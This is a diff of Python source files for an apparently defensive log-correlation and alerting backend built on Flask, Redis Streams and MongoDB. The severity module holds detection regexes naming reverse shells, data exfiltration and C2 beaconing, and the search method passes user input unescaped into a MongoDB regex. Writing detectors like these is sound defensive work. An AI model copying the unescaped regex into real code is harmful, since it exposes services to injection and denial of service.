class ValidationError(AppError):
"""
Raised when input data fails validation
"""
status_code = 422
message = "Validation failed"
def __init__(
self,
message: str | None = None,
errors: list[dict[str, Any]] | None = None,
) -> None:
super().__init__(message)
self.errors = errors or []
class AuthenticationError(AppError):
"""
Raised when a request lacks valid credentials
"""
status_code = 401
message = "Authentication required"
class ForbiddenError(AppError):
"""
Raised when an authenticated user lacks permission
"""
status_code = 403
message = "Insufficient permissions"
class ConflictError(AppError):
"""
Raised when a resource already exists or conflicts
"""
status_code = 409
message = "Resource already exists"
def register_error_handlers(app: Flask) -> None:
"""
Attach JSON error handlers to the Flask app
"""
@app.errorhandler(AppError)
def handle_app_error(error: AppError): # type: ignore[no-untyped-def]
payload: dict[str, Any] = {
"error": type(error).__name__,
"message": error.message,
}
if isinstance(error, ValidationError) and error.errors:
payload["details"] = error.errors
return jsonify(payload), error.status_code
@app.errorhandler(404)
def handle_404(error): # type: ignore[no-untyped-def]
return jsonify({
"error": "NotFound",
"message": "Endpoint not found",
}), 404
@app.errorhandler(405)
def handle_405(error): # type: ignore[no-untyped-def]
return jsonify({
"error": "MethodNotAllowed",
"message": "Method not allowed",
}), 405
@app.errorhandler(500)
def handle_500(error): # type: ignore[no-untyped-def]
return jsonify({
"error": "InternalServerError",
"message": "Internal server error",
}), 500

View File

@ -0,0 +1,41 @@
"""
©AngelaMos | 2026
rate_limiting.py
"""
from typing import Any
import structlog
from flask import Flask, jsonify
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
from app.config import settings
logger = structlog.get_logger()
limiter = Limiter(
key_func=get_remote_address,
storage_uri=settings.REDIS_URL,
strategy=settings.RATELIMIT_STRATEGY,
default_limits=[settings.RATELIMIT_DEFAULT],
headers_enabled=settings.RATELIMIT_HEADERS_ENABLED,
swallow_errors=settings.RATELIMIT_SWALLOW_ERRORS,
)
def init_limiter(app: Flask) -> None:
limiter.init_app(app)
@app.errorhandler(429)
def handle_rate_limit(e: Any) -> tuple[Any, int]:
logger.warning("rate_limit_exceeded", description=str(e.description))
response = jsonify({
"error": "RateLimitExceeded",
"message": "Too many requests",
"retry_after": getattr(e, "retry_after", None),
})
if hasattr(e, "retry_after") and e.retry_after:
response.headers["Retry-After"] = str(e.retry_after)
return response, 429

View File

@ -0,0 +1,70 @@
"""
©AngelaMos | 2026
serialization.py
"""
from typing import Any
from datetime import datetime
from bson import ObjectId
from mongoengine import (
Document,
EmbeddedDocument,
QuerySet,
)
from pydantic import BaseModel
def serialize_value(value: Any) -> Any:
"""
Convert a single value to a JSON safe representation
"""
if value is None:
return None
if isinstance(value, ObjectId):
return str(value)
if isinstance(value, datetime):
return value.isoformat()
if isinstance(value, EmbeddedDocument):
return serialize_document(value)
if isinstance(value, list):
return [serialize_value(v) for v in value]
if isinstance(value, dict):
return {k: serialize_value(v) for k, v in value.items()}
return value
def serialize_document(
doc: Document | EmbeddedDocument,
) -> dict[str,
Any]:
"""
Recursively convert a MongoEngine document to a JSON safe dict
"""
result: dict[str, Any] = {}
for field_name in doc._fields:
value = getattr(doc, field_name, None)
if field_name == "id" and isinstance(value, ObjectId):
result["id"] = str(value)
continue
result[field_name] = serialize_value(value)
return result
def auto_serialize(obj: Any) -> Any:
"""
Dispatch serialization based on the object type
"""
if obj is None:
return None
if isinstance(obj, Document):
return serialize_document(obj)
if isinstance(obj, QuerySet):
return [serialize_document(doc) for doc in obj]
if isinstance(obj, list):
return [auto_serialize(item) for item in obj]
if isinstance(obj, BaseModel):
return obj.model_dump(mode = "json")
if isinstance(obj, dict):
return {k: auto_serialize(v) for k, v in obj.items()}
return obj

View File

@ -0,0 +1,126 @@
"""
©AngelaMos | 2026
streaming.py
"""
import contextlib
import json
import time
from collections.abc import Generator
from typing import Any
from app.config import settings
from app.extensions import get_redis
def publish_event(
stream_key: str,
data: dict[str,
Any],
maxlen: int | None = None,
) -> str:
"""
Publish a JSON event to a Redis Stream via XADD
"""
r = get_redis()
return r.xadd( # type: ignore[no-any-return]
stream_key,
{"payload": json.dumps(data,
default = str)},
maxlen = maxlen or settings.STREAM_MAXLEN,
approximate = True,
)
def ensure_consumer_group(
stream_key: str,
group_name: str | None = None,
) -> None:
"""
Create a consumer group on a stream if it does not already exist
"""
r = get_redis()
group = group_name or settings.CONSUMER_GROUP
with contextlib.suppress(Exception):
r.xgroup_create(
stream_key,
group,
id = "0",
mkstream = True,
)
def read_stream(
stream_key: str,
group_name: str | None = None,
consumer_name: str | None = None,
count: int | None = None,
block: int | None = None,
) -> list[tuple[str,
dict[str,
Any]]]:
"""
Read pending messages from a consumer group via XREADGROUP
"""
r = get_redis()
group = group_name or settings.CONSUMER_GROUP
consumer = consumer_name or settings.CONSUMER_NAME
results = r.xreadgroup(
group,
consumer,
{stream_key: ">"},
count = count or settings.STREAM_READ_COUNT,
block = block or settings.STREAM_BLOCK_MS,
)
messages: list[tuple[str, dict[str, Any]]] = []
if results:
for _stream, entries in results:
for msg_id, fields in entries:
payload = json.loads(fields.get("payload", "{}"))
messages.append((msg_id, payload))
return messages
def ack_message(
stream_key: str,
message_id: str,
group_name: str | None = None,
) -> None:
"""
Acknowledge a processed message in the consumer group
"""
r = get_redis()
group = group_name or settings.CONSUMER_GROUP
r.xack(stream_key, group, message_id) # type: ignore[no-untyped-call]
def sse_generator(
stream_key: str,
event_type: str = "message",
) -> Generator[str]:
"""
Yield SSE-formatted events by tailing a Redis Stream with XREAD
"""
r = get_redis()
last_id = "$"
while True:
try:
results = r.xread(
{stream_key: last_id},
count = settings.SSE_READ_COUNT,
block = settings.SSE_BLOCK_MS,
)
if results:
for _stream, entries in results:
for msg_id, fields in entries:
last_id = msg_id
payload = fields.get("payload", "{}")
yield (f"event: {event_type}\n"
f"data: {payload}\n\n")
else:
yield ": keepalive\n\n"
except GeneratorExit:
return
except Exception:
time.sleep(1)
yield ": reconnecting\n\n"

View File

@ -0,0 +1,4 @@
"""
©AngelaMos | 2026
__init__.py
"""

View File

@ -0,0 +1,377 @@
"""
©AngelaMos | 2026
correlation.py
"""
import time
import threading
from dataclasses import dataclass
from typing import Any
import structlog
from app.config import settings
from app.core.streaming import (
read_stream,
ensure_consumer_group,
ack_message,
)
from app.models.Alert import Alert
from app.models.CorrelationRule import CorrelationRule, RuleType
logger = structlog.get_logger()
@dataclass
class WindowEntry:
"""
A single event recorded in a correlation sliding window
"""
timestamp: float
event_id: str
event_data: dict[str, Any]
step_index: int | None = None
@dataclass
class EvaluationResult:
"""
Outcome of a rule that fired with matched event references
"""
matched_event_ids: list[str]
group_value: str
class CorrelationState:
"""
Thread-safe in-memory sliding window state for correlation tracking
"""
def __init__(self) -> None:
self._windows: dict[str, dict[str, list[WindowEntry]]] = {}
self._cooldowns: dict[str, dict[str, float]] = {}
self._lock = threading.Lock()
def record_event(
self,
rule_id: str,
group_key: str,
event_id: str,
event_data: dict[str, Any],
step_index: int | None = None,
) -> None:
"""
Add an event to the sliding window for a rule and group key
"""
with self._lock:
windows = self._windows.setdefault(rule_id, {})
entries = windows.setdefault(group_key, [])
entries.append(WindowEntry(
timestamp=time.time(),
event_id=event_id,
event_data=event_data,
step_index=step_index,
))
def get_window(
self,
rule_id: str,
group_key: str,
window_seconds: int,
) -> list[WindowEntry]:
"""
Return non-expired entries for a rule and group key
"""
cutoff = time.time() - window_seconds
with self._lock:
entries = self._windows.get(rule_id, {}).get(group_key, [])
valid = [e for e in entries if e.timestamp >= cutoff]
if rule_id in self._windows and group_key in self._windows[rule_id]:
self._windows[rule_id][group_key] = valid
return valid
def is_cooling_down(self, rule_id: str, group_key: str) -> bool:
"""
Check if a rule recently fired for this group key
"""
with self._lock:
last_fired = self._cooldowns.get(rule_id, {}).get(group_key, 0.0)
return (time.time() - last_fired) < settings.CORRELATION_COOLDOWN_SECONDS
def mark_fired(self, rule_id: str, group_key: str) -> None:
"""
Record the fire time for cooldown tracking
"""
with self._lock:
cooldowns = self._cooldowns.setdefault(rule_id, {})
cooldowns[group_key] = time.time()
def clear(self) -> None:
"""
Reset all state for testing or shutdown
"""
with self._lock:
self._windows.clear()
self._cooldowns.clear()
def _matches_filter(event_data: dict[str, Any], event_filter: dict[str, Any]) -> bool:
"""
Check if an event satisfies all key-value pairs in the filter
"""
return all(
event_data.get(k) == v
for k, v in event_filter.items()
)
def evaluate_rule(
rule: CorrelationRule,
event_data: dict[str, Any],
state: CorrelationState,
) -> EvaluationResult | None:
"""
Evaluate a single rule against an event and return a result if fired
"""
rule_id = str(rule.id)
conditions = rule.conditions
group_by = conditions.get("group_by", "")
group_key = event_data.get(group_by, "")
if not group_key:
return None
if state.is_cooling_down(rule_id, group_key):
return None
evaluators = {
RuleType.THRESHOLD: _evaluate_threshold,
RuleType.SEQUENCE: _evaluate_sequence,
RuleType.AGGREGATION: _evaluate_aggregation,
}
evaluator = evaluators.get(rule.rule_type)
if evaluator is None:
return None
return evaluator(rule, event_data, state, rule_id, group_key)
def _evaluate_threshold(
rule: CorrelationRule,
event_data: dict[str, Any],
state: CorrelationState,
rule_id: str,
group_key: str,
) -> EvaluationResult | None:
"""
Fire when event count exceeds threshold within window for a group
"""
conditions = rule.conditions
event_filter = conditions.get("event_filter", {})
if not _matches_filter(event_data, event_filter):
return None
event_id = event_data.get("id", "")
state.record_event(rule_id, group_key, event_id, event_data)
window_seconds = conditions.get("window_seconds", 0)
threshold = conditions.get("threshold", 0)
entries = state.get_window(rule_id, group_key, window_seconds)
if len(entries) >= threshold:
state.mark_fired(rule_id, group_key)
return EvaluationResult(
matched_event_ids=[e.event_id for e in entries],
group_value=group_key,
)
return None
def _evaluate_sequence(
rule: CorrelationRule,
event_data: dict[str, Any],
state: CorrelationState,
rule_id: str,
group_key: str,
) -> EvaluationResult | None:
"""
Fire when all steps of a sequence are observed within window for a group
"""
conditions = rule.conditions
steps = conditions.get("steps", [])
matched_step = None
for idx, step in enumerate(steps):
step_filter = step.get("event_filter", {})
if _matches_filter(event_data, step_filter):
matched_step = idx
break
if matched_step is None:
return None
event_id = event_data.get("id", "")
state.record_event(
rule_id, group_key, event_id, event_data,
step_index=matched_step,
)
window_seconds = conditions.get("window_seconds", 0)
entries = state.get_window(rule_id, group_key, window_seconds)
for idx, step in enumerate(steps):
required_count = step.get("count", 1)
step_entries = [e for e in entries if e.step_index == idx]
if len(step_entries) < required_count:
return None
state.mark_fired(rule_id, group_key)
return EvaluationResult(
matched_event_ids=[e.event_id for e in entries],
group_value=group_key,
)
def _evaluate_aggregation(
rule: CorrelationRule,
event_data: dict[str, Any],
state: CorrelationState,
rule_id: str,
group_key: str,
) -> EvaluationResult | None:
"""
Fire when distinct values of a field exceed threshold for a group
"""
conditions = rule.conditions
event_filter = conditions.get("event_filter", {})
if not _matches_filter(event_data, event_filter):
return None
event_id = event_data.get("id", "")
state.record_event(rule_id, group_key, event_id, event_data)
window_seconds = conditions.get("window_seconds", 0)
threshold = conditions.get("threshold", 0)
aggregation_field = conditions.get("aggregation_field", "")
entries = state.get_window(rule_id, group_key, window_seconds)
distinct_values = {
e.event_data.get(aggregation_field)
for e in entries
if e.event_data.get(aggregation_field)
}
if len(distinct_values) >= threshold:
state.mark_fired(rule_id, group_key)
return EvaluationResult(
matched_event_ids=[e.event_id for e in entries],
group_value=group_key,
)
return None
class CorrelationEngine:
"""
Daemon thread that consumes log events and evaluates correlation rules
"""
def __init__(self) -> None:
self._state = CorrelationState()
self._stop_event = threading.Event()
self._rules_cache: list[CorrelationRule] = []
self._rules_cache_time: float = 0.0
self._thread = threading.Thread(
target=self._run,
daemon=True,
name="correlation-engine",
)
def start(self) -> None:
"""
Initialize consumer group and start the engine thread
"""
ensure_consumer_group(settings.LOG_STREAM_KEY)
self._thread.start()
logger.info("correlation_engine_started")
def stop(self) -> None:
"""
Signal the engine thread to stop
"""
self._stop_event.set()
logger.info("correlation_engine_stopped")
def _get_rules(self) -> list[CorrelationRule]:
"""
Return cached rules, refreshing if the cache TTL has expired
"""
now = time.time()
elapsed = now - self._rules_cache_time
if elapsed > settings.CORRELATION_RULE_CACHE_SECONDS:
self._rules_cache = CorrelationRule.get_enabled_rules()
self._rules_cache_time = now
return self._rules_cache
def _run(self) -> None:
"""
Main loop that reads events and evaluates rules
"""
while not self._stop_event.is_set():
try:
messages = read_stream(settings.LOG_STREAM_KEY)
for msg_id, event_data in messages:
if self._stop_event.is_set():
break
self._process_event(event_data)
ack_message(settings.LOG_STREAM_KEY, msg_id)
except Exception:
logger.exception("correlation_engine_error")
self._stop_event.wait(
settings.CORRELATION_ERROR_BACKOFF_SECONDS
)
def _process_event(self, event_data: dict[str, Any]) -> None:
"""
Evaluate all enabled rules against a single event
"""
rules = self._get_rules()
for rule in rules:
result = evaluate_rule(rule, event_data, self._state)
if result is None:
continue
Alert.create_from_rule(
rule=rule,
matched_event_ids=result.matched_event_ids,
group_value=result.group_value,
)
logger.info(
"alert_generated",
rule_name=rule.name,
group_value=result.group_value,
matched_count=len(result.matched_event_ids),
)
_engine: CorrelationEngine | None = None
def start_engine() -> None:
"""
Create and start the singleton correlation engine
"""
global _engine
if _engine is not None:
return
_engine = CorrelationEngine()
_engine.start()
def stop_engine() -> None:
"""
Stop the singleton correlation engine
"""
global _engine
if _engine:
_engine.stop()
_engine = None

View File

@ -0,0 +1,149 @@
"""
©AngelaMos | 2026
normalizer.py
"""
from datetime import datetime, UTC
from typing import Any, Callable
from app.models.LogEvent import SourceType
NormalizerFn = Callable[[dict[str, Any]], dict[str, Any]]
NORMALIZERS: dict[str, NormalizerFn] = {}
def _register(source_type: SourceType) -> Callable[[NormalizerFn], NormalizerFn]:
"""
Register a normalizer function for a source type
"""
def decorator(fn: NormalizerFn) -> NormalizerFn:
NORMALIZERS[source_type.value] = fn
return fn
return decorator
def normalize(raw: dict[str, Any]) -> dict[str, Any]:
"""
Dispatch to the appropriate format normalizer and return enriched data
"""
source_type = raw.get("source_type", SourceType.GENERIC)
normalizer_fn = NORMALIZERS.get(source_type, _normalize_generic)
base = _extract_common(raw)
specific = normalizer_fn(raw)
base["normalized"] = {**base.get("normalized", {}), **specific}
return base
def _extract_common(raw: dict[str, Any]) -> dict[str, Any]:
"""
Pull fields shared across all log formats into a base dict
"""
return {
"timestamp": raw.get("timestamp",
datetime.now(UTC)),
"source_type": raw.get("source_type",
SourceType.GENERIC),
"source_ip": raw.get("source_ip"),
"dest_ip": raw.get("dest_ip"),
"source_port": raw.get("source_port"),
"dest_port": raw.get("dest_port"),
"event_type": raw.get("event_type"),
"hostname": raw.get("hostname"),
"username": raw.get("username"),
"raw": raw,
"normalized": {},
}
@_register(SourceType.FIREWALL)
def _normalize_firewall(raw: dict[str, Any]) -> dict[str, Any]:
"""
Extract firewall-specific fields like action and protocol
"""
return {
"action": raw.get("action"),
"protocol": raw.get("protocol"),
"bytes_sent": raw.get("bytes_sent"),
"bytes_received": raw.get("bytes_received"),
"rule_name": raw.get("rule_name"),
}
@_register(SourceType.IDS)
def _normalize_ids(raw: dict[str, Any]) -> dict[str, Any]:
"""
Extract IDS-specific fields like signature and severity
"""
return {
"signature_id": raw.get("signature_id"),
"signature_name": raw.get("signature_name"),
"classification": raw.get("classification"),
"priority": raw.get("priority"),
}
@_register(SourceType.AUTH)
def _normalize_auth(raw: dict[str, Any]) -> dict[str, Any]:
"""
Extract authentication-specific fields like method and result
"""
return {
"auth_method": raw.get("auth_method"),
"result": raw.get("result"),
"failure_reason": raw.get("failure_reason"),
"service": raw.get("service"),
}
@_register(SourceType.ENDPOINT)
def _normalize_endpoint(raw: dict[str, Any]) -> dict[str, Any]:
"""
Extract endpoint-specific fields like process and command line
"""
return {
"process_name": raw.get("process_name"),
"process_id": raw.get("process_id"),
"parent_process": raw.get("parent_process"),
"command_line": raw.get("command_line"),
"file_path": raw.get("file_path"),
}
@_register(SourceType.DNS)
def _normalize_dns(raw: dict[str, Any]) -> dict[str, Any]:
"""
Extract DNS-specific fields like query and record type
"""
return {
"query": raw.get("query"),
"query_type": raw.get("query_type"),
"response": raw.get("response"),
"response_code": raw.get("response_code"),
}
@_register(SourceType.PROXY)
def _normalize_proxy(raw: dict[str, Any]) -> dict[str, Any]:
"""
Extract proxy-specific fields like URL and user agent
"""
return {
"url": raw.get("url"),
"method": raw.get("method"),
"status_code": raw.get("status_code"),
"user_agent": raw.get("user_agent"),
"content_type": raw.get("content_type"),
"bytes_transferred": raw.get("bytes_transferred"),
}
@_register(SourceType.GENERIC)
def _normalize_generic(raw: dict[str, Any]) -> dict[str, Any]:
"""
Fallback normalizer for unrecognized source types
"""
return {
"message": raw.get("message"),
}

View File

@ -0,0 +1,139 @@
"""
©AngelaMos | 2026
severity.py
"""
import re
from typing import Any
from app.models.LogEvent import Severity
CRITICAL_PATTERNS = [
re.compile(r"privilege.?escalat",
re.IGNORECASE),
re.compile(r"root.?compromise",
re.IGNORECASE),
re.compile(r"data.?exfiltrat",
re.IGNORECASE),
re.compile(r"ransomware",
re.IGNORECASE),
re.compile(r"command.?and.?control",
re.IGNORECASE),
re.compile(r"c2.?beacon",
re.IGNORECASE),
]
HIGH_PATTERNS = [
re.compile(r"brute.?force",
re.IGNORECASE),
re.compile(r"lateral.?movement",
re.IGNORECASE),
re.compile(r"reverse.?shell",
re.IGNORECASE),
re.compile(r"malware",
re.IGNORECASE),
re.compile(r"exploit",
re.IGNORECASE),
re.compile(r"unauthorized.?access",
re.IGNORECASE),
]
MEDIUM_PATTERNS = [
re.compile(r"login.?fail",
re.IGNORECASE),
re.compile(r"authentication.?fail",
re.IGNORECASE),
re.compile(r"suspicious",
re.IGNORECASE),
re.compile(r"port.?scan",
re.IGNORECASE),
re.compile(r"denied",
re.IGNORECASE),
re.compile(r"blocked",
re.IGNORECASE),
]
LOW_PATTERNS = [
re.compile(r"warning",
re.IGNORECASE),
re.compile(r"policy.?violation",
re.IGNORECASE),
re.compile(r"anomal",
re.IGNORECASE),
]
SEVERITY_TIERS = [
(Severity.CRITICAL,
CRITICAL_PATTERNS),
(Severity.HIGH,
HIGH_PATTERNS),
(Severity.MEDIUM,
MEDIUM_PATTERNS),
(Severity.LOW,
LOW_PATTERNS),
]
HIGH_SEVERITY_EVENT_TYPES = frozenset(
{
"privilege_escalation",
"data_exfiltration",
"c2_communication",
"reverse_shell",
}
)
MEDIUM_SEVERITY_EVENT_TYPES = frozenset(
{
"login_failure",
"port_scan",
"firewall_deny",
"ids_alert",
}
)
def classify(normalized: dict[str, Any]) -> str:
"""
Determine severity from event type and content pattern matching
"""
event_type = normalized.get("event_type", "")
if event_type in HIGH_SEVERITY_EVENT_TYPES:
return Severity.HIGH
if event_type in MEDIUM_SEVERITY_EVENT_TYPES:
return Severity.MEDIUM
searchable = _build_searchable_text(normalized)
for severity, patterns in SEVERITY_TIERS:
for pattern in patterns:
if pattern.search(searchable):
return severity
return Severity.INFO
def _build_searchable_text(normalized: dict[str, Any]) -> str:
"""
Concatenate relevant fields into a single string for pattern matching
"""
parts = [
str(normalized.get("event_type",
"")),
str(normalized.get("message",
"")),
str(normalized.get("normalized",
{}).get("message",
"")),
str(normalized.get("normalized",
{}).get("signature_name",
"")),
str(normalized.get("normalized",
{}).get("classification",
"")),
str(normalized.get("normalized",
{}).get("command_line",
"")),
]
return " ".join(parts)

View File

@ -0,0 +1,54 @@
"""
©AngelaMos | 2026
extensions.py
"""
from typing import TYPE_CHECKING
import redis
from flask import Flask
from mongoengine import connect, disconnect
if TYPE_CHECKING:
from redis import Redis
_redis_client: Redis[str] | None = None
def init_mongo(app: Flask) -> None:
"""
Connect MongoEngine to the configured MongoDB instance
"""
connect(
db = app.config["MONGO_DB"],
host = app.config["MONGO_URI"],
alias = "default",
)
def close_mongo() -> None:
"""
Disconnect MongoEngine from MongoDB
"""
disconnect(alias = "default")
def init_redis(app: Flask) -> None:
"""
Initialize the module level Redis client from app config
"""
global _redis_client
_redis_client = redis.from_url(
app.config["REDIS_URL"],
decode_responses = True,
)
def get_redis() -> Redis[str]:
"""
Return the initialized Redis client or raise if not ready
"""
if _redis_client is None:
raise RuntimeError("Redis not initialized")
return _redis_client

View File

@ -0,0 +1,137 @@
"""
©AngelaMos | 2026
Alert.py
"""
from typing import Any
from datetime import datetime, UTC
from enum import StrEnum
from mongoengine import (
StringField,
DateTimeField,
IntField,
ListField,
ObjectIdField,
)
from app.config import settings
from app.core.streaming import publish_event
from app.models.Base import BaseDocument
from app.models.LogEvent import LogEvent, Severity
class AlertStatus(StrEnum):
"""
Alert lifecycle states
"""
NEW = "new"
ACKNOWLEDGED = "acknowledged"
INVESTIGATING = "investigating"
RESOLVED = "resolved"
FALSE_POSITIVE = "false_positive"
class Alert(BaseDocument):
"""
Alert generated by a correlation rule match
"""
meta: dict[str, Any] = { # noqa: RUF012
"collection": "alerts",
"ordering": ["-created_at"],
"indexes": ["status", "severity", "rule_id"],
}
rule_id = ObjectIdField(required=True)
rule_name = StringField(required=True)
severity = StringField(
required=True,
choices=[s.value for s in Severity],
)
title = StringField(required=True)
matched_event_ids = ListField(ObjectIdField())
matched_event_count = IntField(default=0)
group_value = StringField()
status = StringField(
required=True,
default=AlertStatus.NEW,
choices=[s.value for s in AlertStatus],
)
mitre_tactic = StringField()
mitre_technique = StringField()
acknowledged_by = StringField()
acknowledged_at = DateTimeField()
resolved_at = DateTimeField()
notes = StringField()
@classmethod
def create_from_rule(
cls,
rule: Any,
matched_event_ids: list[str],
group_value: str,
) -> Alert:
"""
Create an alert from a fired rule and publish to the alert stream
"""
alert = cls(
rule_id=rule.id,
rule_name=rule.name,
severity=rule.severity,
title=f"{rule.name} [{group_value}]",
matched_event_ids=matched_event_ids,
matched_event_count=len(matched_event_ids),
group_value=group_value,
mitre_tactic=rule.mitre_tactic,
mitre_technique=rule.mitre_technique,
)
alert.save() # type: ignore[no-untyped-call]
publish_event(
settings.ALERT_STREAM_KEY,
{
"id": str(alert.id),
"rule_name": alert.rule_name,
"severity": alert.severity,
"title": alert.title,
"group_value": alert.group_value,
"matched_event_count": alert.matched_event_count,
"status": alert.status,
},
)
return alert
def update_status(
self,
status: str,
username: str | None = None,
notes: str | None = None,
) -> None:
"""
Transition the alert to a new status with optional metadata
"""
self.status = status
if notes is not None:
self.notes = notes
now = datetime.now(UTC)
if status == AlertStatus.ACKNOWLEDGED and username:
self.acknowledged_by = username
self.acknowledged_at = now
elif status in (AlertStatus.RESOLVED, AlertStatus.FALSE_POSITIVE):
self.resolved_at = now
self.save() # type: ignore[no-untyped-call]
def get_with_events(self) -> dict[str, Any]:
"""
Return the alert with its matched log events loaded
"""
events = list(
LogEvent.objects(id__in=self.matched_event_ids) # type: ignore[no-untyped-call]
)
return {
"alert": self,
"matched_events": events,
}

View File

@ -0,0 +1,72 @@
"""
©AngelaMos | 2026
Base.py
"""
from typing import Any, Self
from datetime import datetime, UTC
from mongoengine import (
Document,
DateTimeField,
QuerySet,
)
from app.config import settings
from app.core.errors import NotFoundError
class BaseDocument(Document): # type: ignore[misc]
"""
Abstract base with timestamps and common query helpers
"""
meta = {"abstract": True} # noqa: RUF012
created_at = DateTimeField(default = lambda: datetime.now(UTC))
updated_at = DateTimeField(default = lambda: datetime.now(UTC))
def save(self, *args: Any, **kwargs: Any) -> Any:
"""
Auto-update the updated_at timestamp on every save
"""
self.updated_at = datetime.now(UTC)
return super().save(*args, **kwargs)
@classmethod
def get_by_id(cls, doc_id: str) -> Self:
"""
Fetch by ID or raise NotFoundError
"""
doc = cls.objects(id = doc_id).first()
if doc is None:
raise NotFoundError(f"{cls.__name__} not found")
return doc # type: ignore[no-any-return]
@classmethod
def get_or_none(cls, doc_id: str) -> Self | None:
"""
Fetch by ID or return None
"""
return cls.objects(id = doc_id).first() # type: ignore[no-any-return]
@classmethod
def paginate(
cls,
queryset: QuerySet | None = None,
page: int = 1,
per_page: int = settings.DEFAULT_PAGE_SIZE,
) -> dict[str, Any]:
"""
Return a paginated result dict from any queryset
"""
qs = queryset if queryset is not None else cls.objects
total = qs.count()
offset = (page - 1) * per_page
items = list(qs.skip(offset).limit(per_page))
return {
"items": items,
"total": total,
"page": page,
"per_page": per_page,
"pages": (total + per_page - 1) // per_page,
}

View File

@ -0,0 +1,58 @@
"""
©AngelaMos | 2026
CorrelationRule.py
"""
from typing import Any
from enum import StrEnum
from mongoengine import (
StringField,
DictField,
BooleanField,
)
from app.models.Base import BaseDocument
from app.models.LogEvent import Severity
class RuleType(StrEnum):
"""
Supported correlation rule evaluation strategies
"""
THRESHOLD = "threshold"
SEQUENCE = "sequence"
AGGREGATION = "aggregation"
class CorrelationRule(BaseDocument):
"""
Correlation rule with conditions and evaluation metadata
"""
meta: dict[str, Any] = { # noqa: RUF012
"collection": "correlation_rules",
"ordering": ["-created_at"],
"indexes": ["enabled", "rule_type"],
}
name = StringField(required=True, unique=True)
description = StringField(default="")
rule_type = StringField(
required=True,
choices=[t.value for t in RuleType],
)
conditions = DictField(required=True)
severity = StringField(
required=True,
choices=[s.value for s in Severity],
)
enabled = BooleanField(default=True)
mitre_tactic = StringField()
mitre_technique = StringField()
@classmethod
def get_enabled_rules(cls) -> list[Any]:
"""
Return all rules that are currently enabled
"""
return list(cls.objects(enabled=True)) # type: ignore[no-untyped-call]

View File

@ -0,0 +1,280 @@
"""
©AngelaMos | 2026
LogEvent.py
"""
from typing import Any
from datetime import datetime, timedelta, UTC
from enum import StrEnum
from mongoengine import (
StringField,
DateTimeField,
IntField,
DictField,
ListField,
ObjectIdField,
)
from app.config import settings
from app.models.Base import BaseDocument
class SourceType(StrEnum):
"""
Supported log source categories
"""
FIREWALL = "firewall"
IDS = "ids"
AUTH = "auth"
ENDPOINT = "endpoint"
DNS = "dns"
PROXY = "proxy"
GENERIC = "generic"
class Severity(StrEnum):
"""
Event severity levels from critical to informational
"""
CRITICAL = "critical"
HIGH = "high"
MEDIUM = "medium"
LOW = "low"
INFO = "info"
class LogEvent(BaseDocument):
"""
Log event document with query and aggregation methods
"""
meta: dict[str, Any] = { # noqa: RUF012
"collection":
"log_events",
"ordering": ["-timestamp"],
"indexes": [
"timestamp",
"source_type",
"severity",
"source_ip",
"dest_ip",
"username",
"hostname",
"event_type",
"scenario_run_id",
],
}
timestamp = DateTimeField(
default = lambda: datetime.now(UTC),
)
source_type = StringField(
required = True,
choices = [s.value for s in SourceType],
)
source_ip = StringField()
dest_ip = StringField()
source_port = IntField()
dest_port = IntField()
severity = StringField(
choices = [s.value for s in Severity],
default = Severity.INFO,
)
event_type = StringField()
raw = DictField()
normalized = DictField()
metadata = DictField()
hostname = StringField()
username = StringField()
mitre_tactic = StringField()
mitre_technique = StringField()
scenario_run_id = ObjectIdField()
matched_alert_ids = ListField(ObjectIdField())
@classmethod
def create_event(cls, **fields: Any) -> LogEvent:
"""
Create and persist a new log event
"""
event = cls(**fields)
event.save() # type: ignore[no-untyped-call]
return event
@classmethod
def search(
cls,
query: str,
page: int = 1,
per_page: int = settings.DEFAULT_PAGE_SIZE
) -> dict[str, Any]:
"""
Full text search across key fields
"""
qs = cls.objects.filter( # type: ignore[no-untyped-call]
__raw__ = {
"$or": [
{
"event_type": {
"$regex": query,
"$options": "i"
}
},
{
"source_ip": {
"$regex": query,
"$options": "i"
}
},
{
"dest_ip": {
"$regex": query,
"$options": "i"
}
},
{
"username": {
"$regex": query,
"$options": "i"
}
},
{
"hostname": {
"$regex": query,
"$options": "i"
}
},
]
}
)
return cls.paginate(queryset = qs, page = page, per_page = per_page)
@classmethod
def get_by_source_ip(cls, ip: str) -> list[Any]:
"""
Pivot query returning all events from a source IP
"""
return list(cls.objects(source_ip = ip).order_by("-timestamp")) # type: ignore[no-untyped-call]
@classmethod
def get_by_username(cls, username: str) -> list[Any]:
"""
Pivot query returning all events for a username
"""
return list(cls.objects(username = username).order_by("-timestamp")) # type: ignore[no-untyped-call]
@classmethod
def get_by_hostname(cls, hostname: str) -> list[Any]:
"""
Pivot query returning all events for a hostname
"""
return list(cls.objects(hostname = hostname).order_by("-timestamp")) # type: ignore[no-untyped-call]
@classmethod
def timeline_aggregation(
cls,
hours: int = settings.TIMELINE_DEFAULT_HOURS,
bucket_minutes: int = settings.TIMELINE_BUCKET_MINUTES,
) -> list[dict[str, Any]]:
"""
Aggregate event counts into time buckets for charting
"""
cutoff = datetime.now(UTC) - timedelta(hours=hours)
pipeline = [
{
"$match": {
"timestamp": {
"$gte": cutoff
}
}
},
{
"$group": {
"_id": {
"$dateTrunc": {
"date": "$timestamp",
"unit": "minute",
"binSize": bucket_minutes,
}
},
"count": {
"$sum": 1
},
}
},
{
"$sort": {
"_id": 1
}
},
{
"$project": {
"_id": 0,
"bucket": "$_id",
"count": 1,
}
},
]
return list(cls.objects.aggregate(pipeline)) # type: ignore[no-untyped-call]
@classmethod
def severity_breakdown(cls) -> list[dict[str, Any]]:
"""
Count events grouped by severity level
"""
pipeline = [
{
"$group": {
"_id": "$severity",
"count": {
"$sum": 1
},
}
},
{
"$project": {
"_id": 0,
"severity": "$_id",
"count": 1,
}
},
]
return list(cls.objects.aggregate(pipeline)) # type: ignore[no-untyped-call]
@classmethod
def top_sources(cls, limit: int = settings.TOP_SOURCES_LIMIT) -> list[dict[str, Any]]:
"""
Return the most frequent source IPs
"""
pipeline = [
{
"$match": {
"source_ip": {
"$ne": None
}
}
},
{
"$group": {
"_id": "$source_ip",
"count": {
"$sum": 1
},
}
},
{
"$sort": {
"count": -1
}
},
{
"$limit": limit
},
{
"$project": {
"_id": 0,
"source_ip": "$_id",
"count": 1,
}
},
]
return list(cls.objects.aggregate(pipeline)) # type: ignore[no-untyped-call]

View File

@ -0,0 +1,127 @@
"""
©AngelaMos | 2026
ScenarioRun.py
"""
from typing import Any
from datetime import datetime, UTC
from enum import StrEnum
from mongoengine import (
StringField,
DateTimeField,
IntField,
